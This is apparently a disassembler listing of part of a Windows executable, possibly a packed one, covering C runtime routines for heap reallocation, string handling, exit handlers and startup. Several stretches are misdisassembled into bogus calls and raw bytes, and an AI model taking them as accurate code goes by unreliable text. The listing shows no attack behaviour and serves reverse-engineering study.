var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		push	[ebp+arg_C]
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_4]
		push	[ebp+arg_8]
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+var_20]
		mov	[ebp+var_14], 42h
		push	eax
		call	sub_41461C
		add	esp, 0Ch
		dec	[ebp+var_1C]
		mov	esi, eax
		js	short loc_413D7D
		mov	eax, [ebp+var_20]
		and	byte ptr [eax],	0
		jmp	short loc_413D8A
; ---------------------------------------------------------------------------


loc_413D7D:				; CODE XREF: sub_413D3F+34j
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		call	sub_414507
		pop	ecx
		pop	ecx


loc_413D8A:				; CODE XREF: sub_413D3F+3Cj
		mov	eax, esi
		pop	esi
		leave
		retn
sub_413D3F	endp


; =============== S U B	R O U T	I N E =======================================



sub_413D8F	proc near		; CODE XREF: sub_4090E9+2Ep
					; sub_4131A3+35p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_0]
		push	ebp
		push	esi
		test	ebx, ebx
		push	edi
		jnz	short loc_413DAA
		push	[esp+10h+arg_4]
		call	sub_41279F
		pop	ecx
		jmp	loc_413EAA
; ---------------------------------------------------------------------------


loc_413DAA:				; CODE XREF: sub_413D8F+Aj
		mov	esi, [esp+10h+arg_4]
		test	esi, esi
		jnz	short loc_413DC0
		push	ebx
		call	sub_412813
		pop	ecx


loc_413DB9:				; CODE XREF: sub_413D8F+114j
		xor	eax, eax
		jmp	loc_413EAA
; ---------------------------------------------------------------------------


loc_413DC0:				; CODE XREF: sub_413D8F+21j
					; sub_413D8F+10Ej
		xor	edi, edi
		cmp	esi, 0FFFFFFE0h
		ja	loc_413E8B
		push	ebx
		call	sub_4153CD
		mov	ebp, eax
		pop	ecx
		test	ebp, ebp
		jz	loc_413E68
		cmp	esi, dword_4316CC
		ja	short loc_413E28
		push	esi
		push	ebx
		push	ebp
		call	sub_415BD8
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_413DF7
		mov	edi, ebx
		jmp	short loc_413E20
; ---------------------------------------------------------------------------


loc_413DF7:				; CODE XREF: sub_413D8F+62j
		push	esi
		call	sub_415723
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jz	short loc_413E28
		mov	eax, [ebx-4]
		dec	eax
		cmp	eax, esi
		jb	short loc_413E0E
		mov	eax, esi


loc_413E0E:				; CODE XREF: sub_413D8F+7Bj
		push	eax
		push	ebx
		push	edi
		call	sub_411FD0
		push	ebx
		push	ebp
		call	sub_4153F8
		add	esp, 14h


loc_413E20:				; CODE XREF: sub_413D8F+66j
		test	edi, edi
		jnz	loc_413EA8


loc_413E28:				; CODE XREF: sub_413D8F+53j
					; sub_413D8F+73j
		test	esi, esi
		jnz	short loc_413E2F
		push	1
		pop	esi


loc_413E2F:				; CODE XREF: sub_413D8F+9Bj
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		push	esi
		push	0
		push	dword_464220
		call	dword_41D144	; RtlAllocateHeap
		mov	edi, eax
		test	edi, edi
		jz	short loc_413E8B
		mov	eax, [ebx-4]
		dec	eax
		cmp	eax, esi
		jb	short loc_413E54
		mov	eax, esi


loc_413E54:				; CODE XREF: sub_413D8F+C1j
		push	eax
		push	ebx
		push	edi
		call	sub_411FD0
		push	ebx
		push	ebp
		call	sub_4153F8
		add	esp, 14h
		jmp	short loc_413E87
; ---------------------------------------------------------------------------


loc_413E68:				; CODE XREF: sub_413D8F+47j
		test	esi, esi
		jnz	short loc_413E6F
		push	1
		pop	esi


loc_413E6F:				; CODE XREF: sub_413D8F+DBj
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		push	esi
		push	ebx
		push	0
		push	dword_464220
		call	dword_41D158	; RtlReAllocateHeap
		mov	edi, eax


loc_413E87:				; CODE XREF: sub_413D8F+D7j
		test	edi, edi
		jnz	short loc_413EA8


loc_413E8B:				; CODE XREF: sub_413D8F+36j
					; sub_413D8F+B9j
		cmp	dword_462C24, 0
		jz	short loc_413EA8
		push	esi
		call	sub_415338
		test	eax, eax
		pop	ecx
		jnz	loc_413DC0
		jmp	loc_413DB9
; ---------------------------------------------------------------------------


loc_413EA8:				; CODE XREF: sub_413D8F+93j
					; sub_413D8F+FAj ...
		mov	eax, edi


loc_413EAA:				; CODE XREF: sub_413D8F+16j
					; sub_413D8F+2Cj
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_413D8F	endp


; =============== S U B	R O U T	I N E =======================================



sub_413EAF	proc near		; CODE XREF: sub_40966A+8p

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		push	[esp+arg_0]
		call	dword_41D080	; GetFileAttributesA
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_413ECF
		call	dword_41D06C	; RtlGetLastWin32Error
		push	eax
		call	sub_418CFA
		pop	ecx


loc_413ECB:				; CODE XREF: sub_413EAF+3Fj
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_413ECF:				; CODE XREF: sub_413EAF+Dj
		test	al, 1
		jz	short loc_413EF0
		test	[esp+arg_4], 2
		jz	short loc_413EF0
		mov	dword_462BC4, 0Dh
		mov	dword_462BC8, 5
		jmp	short loc_413ECB
; ---------------------------------------------------------------------------


loc_413EF0:				; CODE XREF: sub_413EAF+22j
					; sub_413EAF+29j
		xor	eax, eax
		retn
sub_413EAF	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_413F00	proc near		; CODE XREF: sub_409794+5Fp
					; sub_409794+90p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	edi
		push	esi
		push	ebx
		xor	edi, edi
		mov	eax, [esp+0Ch+arg_4]
		or	eax, eax
		jge	short loc_413F21
		inc	edi
		mov	edx, [esp+0Ch+arg_0]
		neg	eax
		neg	edx
		sbb	eax, 0
		mov	[esp+0Ch+arg_4], eax
		mov	[esp+0Ch+arg_0], edx


loc_413F21:				; CODE XREF: sub_413F00+Bj
		mov	eax, [esp+0Ch+arg_C]
		or	eax, eax
		jge	short loc_413F3D
		inc	edi
		mov	edx, [esp+0Ch+arg_8]
		neg	eax
		neg	edx
		sbb	eax, 0
		mov	[esp+0Ch+arg_C], eax
		mov	[esp+0Ch+arg_8], edx


loc_413F3D:				; CODE XREF: sub_413F00+27j
		or	eax, eax
		jnz	short loc_413F59
		mov	ecx, [esp+0Ch+arg_8]
		mov	eax, [esp+0Ch+arg_4]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+0Ch+arg_0]
		div	ecx
		mov	edx, ebx
		jmp	short loc_413F9A
; ---------------------------------------------------------------------------


loc_413F59:				; CODE XREF: sub_413F00+3Fj
		mov	ebx, eax
		mov	ecx, [esp+0Ch+arg_8]
		mov	edx, [esp+0Ch+arg_4]
		mov	eax, [esp+0Ch+arg_0]


loc_413F67:				; CODE XREF: sub_413F00+71j
		shr	ebx, 1
		rcr	ecx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ebx, ebx
		jnz	short loc_413F67
		div	ecx
		mov	esi, eax
		mul	[esp+0Ch+arg_C]
		mov	ecx, eax
		mov	eax, [esp+0Ch+arg_8]
		mul	esi
		add	edx, ecx
		jb	short loc_413F95
		cmp	edx, [esp+0Ch+arg_4]
		ja	short loc_413F95
		jb	short loc_413F96
		cmp	eax, [esp+0Ch+arg_0]
		jbe	short loc_413F96


loc_413F95:				; CODE XREF: sub_413F00+85j
					; sub_413F00+8Bj
		dec	esi


loc_413F96:				; CODE XREF: sub_413F00+8Dj
					; sub_413F00+93j
		xor	edx, edx
		mov	eax, esi


loc_413F9A:				; CODE XREF: sub_413F00+57j
		dec	edi
		jnz	short loc_413FA4
		neg	edx
		neg	eax
		sbb	edx, 0


loc_413FA4:				; CODE XREF: sub_413F00+9Bj
		pop	ebx
		pop	esi
		pop	edi
		retn	10h
sub_413F00	endp


; =============== S U B	R O U T	I N E =======================================



sub_413FAA	proc near		; CODE XREF: .nsp0:0041445Bp
		mov	eax, off_43147C
		test	eax, eax
		jz	short loc_413FB5
		call	eax ; sub_412911


loc_413FB5:				; CODE XREF: sub_413FAA+7j
		push	offset dword_41F024
		push	offset dword_41F010
		call	sub_414092
		push	offset dword_41F00C
		push	offset dword_41F000
		call	sub_414092
		add	esp, 10h
		retn
sub_413FAA	endp

; ---------------------------------------------------------------------------
		push	0
		push	0
		push	dword ptr [esp+0Ch]
		call	sub_413FF9
		add	esp, 0Ch
		retn

; =============== S U B	R O U T	I N E =======================================



sub_413FE8	proc near		; CODE XREF: sub_4144BE+1Cp
					; sub_41746C+3429p ...

arg_0		= dword	ptr  4

		push	0
		push	1
		push	[esp+8+arg_0]
		call	sub_413FF9
		add	esp, 0Ch
		retn
sub_413FE8	endp


; =============== S U B	R O U T	I N E =======================================



sub_413FF9	proc near		; CODE XREF: .nsp0:00413FDFp
					; sub_413FE8+8p

arg_0		= dword	ptr  4
arg_8		= dword	ptr  0Ch

		push	edi
		push	1
		pop	edi
		cmp	dword_462C0C, edi
		jnz	short near ptr loc_414015+1
		push	[esp+4+arg_0]
		call	near ptr 0AB0000h
		jbe	short near ptr loc_41405E+2
		call	near ptr 0AB0000h


loc_414015:				; CODE XREF: sub_413FF9+Aj
		add	[ebx+0C247Ch], al
		push	ebx
		mov	ebx, [esp+8+arg_8]
		mov	dword_462C08, edi
		mov	byte_462C04, bl
		jnz	short loc_41406A
		mov	eax, dword_464234
		test	eax, eax
		jz	short loc_414059
		mov	ecx, dword_464230
		push	esi
		lea	esi, [ecx-4]
		cmp	esi, eax
		jb	short loc_414058


loc_414045:				; CODE XREF: sub_413FF9+5Dj
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_41404D
		call	eax


loc_41404D:				; CODE XREF: sub_413FF9+50j
		sub	esi, 4
		cmp	esi, dword_464234
		jnb	short loc_414045


loc_414058:				; CODE XREF: sub_413FF9+4Aj
		pop	esi


loc_414059:				; CODE XREF: sub_413FF9+3Cj
		push	offset dword_41F030


loc_41405E:				; CODE XREF: sub_413FF9+15j
		push	offset dword_41F028
		call	sub_414092
		pop	ecx
		pop	ecx


loc_41406A:				; CODE XREF: sub_413FF9+33j
		push	offset dword_41F03C
		push	offset dword_41F034
		call	sub_414092
		pop	ecx
		pop	ecx
		test	ebx, ebx
		pop	ebx
		jnz	short loc_414090
		push	[esp+4+arg_0]
		mov	dword_462C0C, edi
		call	dword_41D108	; ExitProcess


loc_414090:				; CODE XREF: sub_413FF9+85j
		pop	edi
		retn
sub_413FF9	endp


; =============== S U B	R O U T	I N E =======================================



sub_414092	proc near		; CODE XREF: sub_413FAA+15p
					; sub_413FAA+24p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]


loc_414097:				; CODE XREF: sub_414092+16j
		cmp	esi, [esp+4+arg_4]
		jnb	short loc_4140AA
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_4140A5
		call	eax


loc_4140A5:				; CODE XREF: sub_414092+Fj
		add	esi, 4
		jmp	short loc_414097
; ---------------------------------------------------------------------------


loc_4140AA:				; CODE XREF: sub_414092+9j
		pop	esi
		retn
sub_414092	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4140AC	proc near		; CODE XREF: .nsp0:0040E3A9p
					; .nsp0:0040E3D8p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_4], 0
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	edi
		mov	edi, ebx
		jg	short loc_4140C0
		xor	eax, eax
		jmp	short loc_4140F6
; ---------------------------------------------------------------------------


loc_4140C0:				; CODE XREF: sub_4140AC+Ej
		dec	[ebp+arg_4]
		push	esi
		jz	short loc_4140F0
		mov	esi, [ebp+arg_8]


loc_4140C9:				; CODE XREF: sub_4140AC+42j
		dec	dword ptr [esi+4]
		js	short loc_4140D8
		mov	ecx, [esi]
		movzx	eax, byte ptr [ecx]
		inc	ecx
		mov	[esi], ecx
		jmp	short loc_4140DF
; ---------------------------------------------------------------------------


loc_4140D8:				; CODE XREF: sub_4140AC+20j
		push	esi
		call	sub_418180
		pop	ecx


loc_4140DF:				; CODE XREF: sub_4140AC+2Aj
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4140FA
		mov	[edi], al
		inc	edi
		cmp	al, 0Ah
		jz	short loc_4140F0
		dec	[ebp+arg_4]
		jnz	short loc_4140C9


loc_4140F0:				; CODE XREF: sub_4140AC+18j
					; sub_4140AC+3Dj ...
		and	byte ptr [edi],	0


loc_4140F3:				; CODE XREF: sub_4140AC+55j
		mov	eax, ebx
		pop	esi


loc_4140F6:				; CODE XREF: sub_4140AC+12j
		pop	edi
		pop	ebx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_4140FA:				; CODE XREF: sub_4140AC+36j
		cmp	edi, [ebp+arg_0]
		jnz	short loc_4140F0
		xor	ebx, ebx
		jmp	short loc_4140F3
sub_4140AC	endp


; =============== S U B	R O U T	I N E =======================================



sub_414103	proc near		; CODE XREF: .nsp0:0040C9CCp

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	near ptr 0AB0000h
		adc	al, 85h
		sal	byte ptr [ebp+8], 0FFh
		adc	eax, offset dword_41D06C
		jmp	short loc_41411B
; ---------------------------------------------------------------------------
		xor	eax, eax


loc_41411B:				; CODE XREF: sub_414103+14j
		test	eax, eax
		jz	short loc_41412A
		push	eax
		call	sub_418CFA
		pop	ecx
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_41412A:				; CODE XREF: sub_414103+1Aj
		xor	eax, eax
		retn
sub_414103	endp

; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_414140


loc_414130:				; CODE XREF: sub_414140+1Dj
		lea	eax, [edx-1]
		pop	ebx
		retn
; END OF FUNCTION CHUNK	FOR sub_414140
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_414140	proc near		; CODE XREF: .nsp0:0040A748p
					; .nsp0:0040A7EFp ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

; FUNCTION CHUNK AT 00414130 SIZE 00000005 BYTES

		xor	eax, eax
		mov	al, [esp+arg_4]


loc_414146:				; CODE XREF: sub_4124C0+6Ej
		push	ebx
		mov	ebx, eax
		shl	eax, 8
		mov	edx, [esp+4+arg_0]
		test	edx, 3
		jz	short loc_41416B


loc_414158:				; CODE XREF: sub_414140+29j
		mov	cl, [edx]
		inc	edx
		cmp	cl, bl
		jz	short loc_414130
		test	cl, cl
		jz	short loc_4141B4
		test	edx, 3
		jnz	short loc_414158


loc_41416B:				; CODE XREF: sub_414140+16j
		or	ebx, eax
		push	edi
		mov	eax, ebx
		shl	ebx, 10h
		push	esi
		or	ebx, eax


loc_414176:				; CODE XREF: sub_414140+61j
					; sub_414140+70j ...
		mov	ecx, [edx]
		mov	edi, 7EFEFEFFh
		mov	eax, ecx
		mov	esi, edi
		xor	ecx, ebx
		add	esi, eax
		add	edi, ecx
		xor	ecx, 0FFFFFFFFh
		xor	eax, 0FFFFFFFFh
		xor	ecx, edi
		xor	eax, esi
		add	edx, 4
		and	ecx, 81010100h
		jnz	short loc_4141B8
		and	eax, 81010100h
		jz	short loc_414176
		and	eax, 1010100h
		jnz	short loc_4141B2
		and	esi, 80000000h
		jnz	short loc_414176


loc_4141B2:				; CODE XREF: sub_414140+68j
					; sub_414140+81j ...
		pop	esi
		pop	edi


loc_4141B4:				; CODE XREF: sub_414140+21j
		pop	ebx
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_4141B8:				; CODE XREF: sub_414140+5Aj
		mov	eax, [edx-4]
		cmp	al, bl
		jz	short loc_4141F5
		test	al, al
		jz	short loc_4141B2
		cmp	ah, bl
		jz	short loc_4141EE
		test	ah, ah
		jz	short loc_4141B2
		shr	eax, 10h
		cmp	al, bl
		jz	short loc_4141E7
		test	al, al
		jz	short loc_4141B2
		cmp	ah, bl
		jz	short loc_4141E0
		test	ah, ah
		jz	short loc_4141B2
		jmp	short loc_414176
; ---------------------------------------------------------------------------


loc_4141E0:				; CODE XREF: sub_414140+98j
		pop	esi
		pop	edi
		lea	eax, [edx-1]
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_4141E7:				; CODE XREF: sub_414140+90j
		lea	eax, [edx-2]
		pop	esi
		pop	edi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_4141EE:				; CODE XREF: sub_414140+85j
		lea	eax, [edx-3]
		pop	esi
		pop	edi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_4141F5:				; CODE XREF: sub_414140+7Dj
		lea	eax, [edx-4]
		pop	esi
		pop	edi
		pop	ebx
		retn
sub_414140	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	eax, [esp+0Ch]
		test	eax, eax
		jz	short locret_41424C
		mov	edx, [esp+4]
		push	esi
		push	edi
		mov	esi, edx
		mov	edi, [esp+10h]
		or	edx, edi
		and	edx, 3
		jz	short loc_41424D
		test	eax, 1
		jz	short loc_41422D
		mov	cl, [esi]
		cmp	cl, [edi]
		jnz	short loc_41427A
		inc	esi
		inc	edi
		dec	eax
		jz	short loc_41424A


loc_41422D:				; CODE XREF: .nsp0:00414220j
					; .nsp0:00414248j
		mov	cl, [esi]
		mov	dl, [edi]
		cmp	cl, dl
		jnz	short loc_41427A
		mov	cl, [esi+1]
		mov	dl, [edi+1]
		cmp	cl, dl
		jnz	short loc_41427A
		add	edi, 2
		add	esi, 2
		sub	eax, 2
		jnz	short loc_41422D


loc_41424A:				; CODE XREF: .nsp0:0041422Bj
					; .nsp0:00414284j
		pop	edi
		pop	esi

locret_41424C:				; CODE XREF: .nsp0:00414206j
		retn
; ---------------------------------------------------------------------------


loc_41424D:				; CODE XREF: .nsp0:00414219j
		mov	ecx, eax
		and	eax, 3
		shr	ecx, 2
		jz	short loc_414282
		repe cmpsd
		jz	short loc_414282
		mov	ecx, [esi-4]
		mov	edx, [edi-4]
		cmp	cl, dl
		jnz	short loc_414275
		cmp	ch, dh
		jnz	short loc_414275
		shr	ecx, 10h
		shr	edx, 10h
		cmp	cl, dl
		jnz	short loc_414275
		cmp	ch, dh


loc_414275:				; CODE XREF: .nsp0:00414263j
					; .nsp0:00414267j ...
		mov	eax, 0


loc_41427A:				; CODE XREF: .nsp0:00414226j
					; .nsp0:00414233j ...
		sbb	eax, eax
		pop	edi
		sbb	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_414282:				; CODE XREF: .nsp0:00414255j
					; .nsp0:00414259j
		test	eax, eax
		jz	short loc_41424A
		mov	edx, [esi]
		mov	ecx, [edi]
		cmp	dl, cl
		jnz	short loc_414275
		dec	eax
		jz	short loc_4142A9
		cmp	dh, ch
		jnz	short loc_414275
		dec	eax
		jz	short loc_4142A9
		and	ecx, 0FF0000h
		and	edx, 0FF0000h
		cmp	edx, ecx
		jnz	short loc_414275
		dec	eax


loc_4142A9:				; CODE XREF: .nsp0:0041428Fj
					; .nsp0:00414296j
		pop	edi
		pop	esi
		retn

; =============== S U B	R O U T	I N E =======================================



sub_4142AC	proc near		; CODE XREF: sub_41094E+55p
					; sub_41135F+236p

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		cmp	word ptr [ecx],	0
		lea	eax, [ecx+2]
		jz	short loc_4142C3


loc_4142B9:				; CODE XREF: sub_4142AC+15j
		mov	dx, [eax]
		inc	eax
		inc	eax
		test	dx, dx
		jnz	short loc_4142B9


loc_4142C3:				; CODE XREF: sub_4142AC+Bj
		sub	eax, ecx
		sar	eax, 1
		dec	eax
		retn
sub_4142AC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4142C9	proc near		; CODE XREF: sub_41094E+19p
					; sub_41094E+49p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_0]
		push	ebx
		push	esi
		xor	esi, esi
		xor	eax, eax
		cmp	edx, esi
		push	edi
		jz	loc_414396
		mov	edi, [ebp+arg_8]
		cmp	edi, esi
		jz	loc_4143C3
		cmp	dword_462C58, esi
		jnz	short loc_41431A
		cmp	edi, esi
		jbe	loc_4143C3


loc_4142F9:				; CODE XREF: sub_4142C9+4Aj
		mov	ecx, [ebp+arg_4]
		add	ecx, eax
		movzx	si, byte ptr [ecx]
		mov	[edx], si
		cmp	byte ptr [ecx],	0
		jz	loc_4143C3
		inc	eax
		inc	edx
		inc	edx
		cmp	eax, edi
		jb	short loc_4142F9
		jmp	loc_4143C3
; ---------------------------------------------------------------------------


loc_41431A:				; CODE XREF: sub_4142C9+26j
		mov	ebx, [ebp+arg_4]
		mov	esi, dword_41D130
		push	edi
		push	edx
		push	0FFFFFFFFh
		push	ebx
		push	9
		push	dword_462C68
		call	esi ; dword_41D130
		test	eax, eax
		jnz	loc_4143C2
		call	dword_41D06C	; RtlGetLastWin32Error
		cmp	eax, 7Ah
		jz	short loc_414354


loc_414345:				; CODE XREF: sub_4142C9+CBj
					; sub_4142C9+F7j
		mov	dword_462BC4, 2Ah
		or	eax, 0FFFFFFFFh
		jmp	short loc_4143C3
; ---------------------------------------------------------------------------


loc_414354:				; CODE XREF: sub_4142C9+7Aj
		lea	ecx, [edi-1]
		mov	eax, ebx
		mov	[ebp+arg_4], ecx


loc_41435C:				; CODE XREF: sub_4142C9+B3j
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_41437E
		mov	edx, off_4314B0
		movzx	ecx, cl
		test	byte ptr [edx+ecx*2+1],	80h
		jz	short loc_414373
		inc	eax


loc_414373:				; CODE XREF: sub_4142C9+A7j
		mov	ecx, [ebp+arg_4]
		inc	eax
		dec	[ebp+arg_4]
		test	ecx, ecx
		jnz	short loc_41435C


loc_41437E:				; CODE XREF: sub_4142C9+97j
		push	edi
		sub	eax, ebx
		push	[ebp+arg_0]
		push	eax
		push	ebx
		push	1
		push	dword_462C68
		call	esi ; dword_41D130
		test	eax, eax
		jnz	short loc_4143C3
		jmp	short loc_414345
; ---------------------------------------------------------------------------


loc_414396:				; CODE XREF: sub_4142C9+Fj
		cmp	dword_462C58, esi
		jnz	short loc_4143A9
		push	[ebp+arg_4]
		call	sub_4126F0
		pop	ecx
		jmp	short loc_4143C3
; ---------------------------------------------------------------------------


loc_4143A9:				; CODE XREF: sub_4142C9+D3j
		push	esi
		push	esi
		push	0FFFFFFFFh
		push	[ebp+arg_4]
		push	9
		push	dword_462C68
		call	dword_41D130	; MultiByteToWideChar
		cmp	eax, esi
		jz	short loc_414345


loc_4143C2:				; CODE XREF: sub_4142C9+6Bj
		dec	eax


loc_4143C3:				; CODE XREF: sub_4142C9+1Aj
					; sub_4142C9+2Aj ...
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_4142C9	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_41D670
		push	offset sub_419528
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 58h
		push	ebx
		push	esi
		push	edi
		mov	[ebp-18h], esp
		call	dword_41D164	; GetVersion
		xor	edx, edx
		mov	dl, ah
		mov	dword_462BDC, edx
		mov	ecx, eax
		and	ecx, 0FFh
		mov	dword_462BD8, ecx
		shl	ecx, 8
		add	ecx, edx
		mov	dword_462BD4, ecx
		shr	eax, 10h
		mov	dword_462BD0, eax
		xor	esi, esi
		push	esi
		call	sub_415353
		pop	ecx
		test	eax, eax
		jnz	short loc_414434
		push	1Ch
		call	sub_4144E3
		pop	ecx


loc_414434:				; CODE XREF: .nsp0:0041442Aj
		mov	[ebp-4], esi
		call	loc_419375
		call	near ptr 0AB0000h
		mov	cs:dword_464224, eax
		call	sub_419243
		mov	dword_462C10, eax
		call	sub_418FF6


loc_414456:				; CODE XREF: .nsp0:0041446Cj
		call	sub_418F3D
		call	sub_413FAA
		mov	[ebp-30h], esi
		lea	eax, [ebp-5Ch]
		push	eax
		call	near ptr 0AB0000h
		jb	short loc_414456
		jnb	short loc_4144BA
; ---------------------------------------------------------------------------
		dd 45890000h, 0D045F69Ch, 0F067401h, 0EBD445B7h, 580A6A03h
		dd 9C75FF50h, 71E85656h, 9E0069BBh, 5658E850h, 4589FFFFh
		dd 38E850A0h, 8BFFFFFBh, 88BEC45h, 4D89098Bh, 0E8515098h
		dd 48B1h, 8BC35959h, 75FFE865h
		db 98h,	0E8h
; ---------------------------------------------------------------------------


loc_4144BA:				; CODE XREF: .nsp0:0041446Ej
		sub	bh, bl
; ---------------------------------------------------------------------------
		db 2 dup(0FFh)

; =============== S U B	R O U T	I N E =======================================



sub_4144BE	proc near		; CODE XREF: sub_413222+16p
					; sub_418F3D+4Ep ...

arg_0		= dword	ptr  4

		cmp	dword_462C18, 1
		jnz	short loc_4144CC
		call	sub_419600


loc_4144CC:				; CODE XREF: sub_4144BE+7j
		push	[esp+arg_0]
		call	sub_419639
		push	0FFh
		call	off_4314A0
		pop	ecx
		pop	ecx
		retn
sub_4144BE	endp


; =============== S U B	R O U T	I N E =======================================



sub_4144E3	proc near		; CODE XREF: .nsp0:0041442Ep

arg_0		= dword	ptr  4

		cmp	dword_462C18, 1
		jnz	short loc_4144F1
		call	sub_419600


loc_4144F1:				; CODE XREF: sub_4144E3+7j
		push	[esp+arg_0]
		call	sub_419639
		pop	ecx
		push	0FFh
		call	dword_41D108	; ExitProcess
		retn
sub_4144E3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414507	proc near		; CODE XREF: sub_411EEE+46p
					; sub_41246A+45p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		mov	eax, [esi+0Ch]
		mov	ebx, [esi+10h]
		test	al, 82h
		jz	loc_414610
		test	al, 40h
		jnz	loc_414610
		test	al, 1
		jz	short loc_41453F
		and	dword ptr [esi+4], 0
		test	al, 10h
		jz	loc_414610
		mov	ecx, [esi+8]
		and	al, 0FEh
		mov	[esi], ecx
		mov	[esi+0Ch], eax


loc_41453F:				; CODE XREF: sub_414507+20j
		mov	eax, [esi+0Ch]
		and	dword ptr [esi+4], 0
		and	[ebp+arg_4], 0
		and	al, 0EFh
		or	al, 2
		test	ax, 10Ch
		mov	[esi+0Ch], eax
		jnz	short loc_414579
		cmp	esi, offset dword_431BC8
		jz	short loc_414567
		cmp	esi, offset dword_431BE8
		jnz	short loc_414572


loc_414567:				; CODE XREF: sub_414507+56j
		push	ebx
		call	sub_41997D
		test	eax, eax
		pop	ecx
		jnz	short loc_414579


loc_414572:				; CODE XREF: sub_414507+5Ej
		push	esi
		call	sub_419939
		pop	ecx


loc_414579:				; CODE XREF: sub_414507+4Ej
					; sub_414507+69j
		test	word ptr [esi+0Ch], 108h
		push	edi
		jz	short loc_4145E6
		mov	eax, [esi+8]
		mov	edi, [esi]
		sub	edi, eax
		lea	ecx, [eax+1]
		mov	[esi], ecx
		mov	ecx, [esi+18h]
		dec	ecx
		test	edi, edi
		mov	[esi+4], ecx
		jle	short loc_4145A9
		push	edi
		push	eax
		push	ebx
		call	sub_41978C
		add	esp, 0Ch
		mov	[ebp+arg_4], eax
		jmp	short loc_4145DC
; ---------------------------------------------------------------------------


loc_4145A9:				; CODE XREF: sub_414507+90j
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_4145C4
		mov	eax, ebx
		mov	ecx, ebx
		sar	eax, 5
		and	ecx, 1Fh
		mov	eax, dword_463EE0[eax*4]
		lea	eax, [eax+ecx*8]
		jmp	short loc_4145C9
; ---------------------------------------------------------------------------


loc_4145C4:				; CODE XREF: sub_414507+A5j
		mov	eax, offset dword_431B10


loc_4145C9:				; CODE XREF: sub_414507+BBj
		test	byte ptr [eax+4], 20h
		jz	short loc_4145DC
		push	2
		push	0
		push	ebx
		call	sub_41844F
		add	esp, 0Ch


loc_4145DC:				; CODE XREF: sub_414507+A0j
					; sub_414507+C6j
		mov	eax, [esi+8]
		mov	cl, byte ptr [ebp+arg_0]
		mov	[eax], cl
		jmp	short loc_4145FA
; ---------------------------------------------------------------------------


loc_4145E6:				; CODE XREF: sub_414507+79j
		push	1
		lea	eax, [ebp+arg_0]
		pop	edi
		push	edi
		push	eax
		push	ebx
		call	sub_41978C
		add	esp, 0Ch
		mov	[ebp+arg_4], eax


loc_4145FA:				; CODE XREF: sub_414507+DDj
		cmp	[ebp+arg_4], edi
		pop	edi
		jz	short loc_414606
		or	dword ptr [esi+0Ch], 20h
		jmp	short loc_414615
; ---------------------------------------------------------------------------


loc_414606:				; CODE XREF: sub_414507+F7j
		mov	eax, [ebp+arg_0]
		and	eax, 0FFh
		jmp	short loc_414618
; ---------------------------------------------------------------------------


loc_414610:				; CODE XREF: sub_414507+10j
					; sub_414507+18j ...
		or	al, 20h
		mov	[esi+0Ch], eax


loc_414615:				; CODE XREF: sub_414507+FDj
		or	eax, 0FFFFFFFFh


loc_414618:				; CODE XREF: sub_414507+107j
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_414507	endp


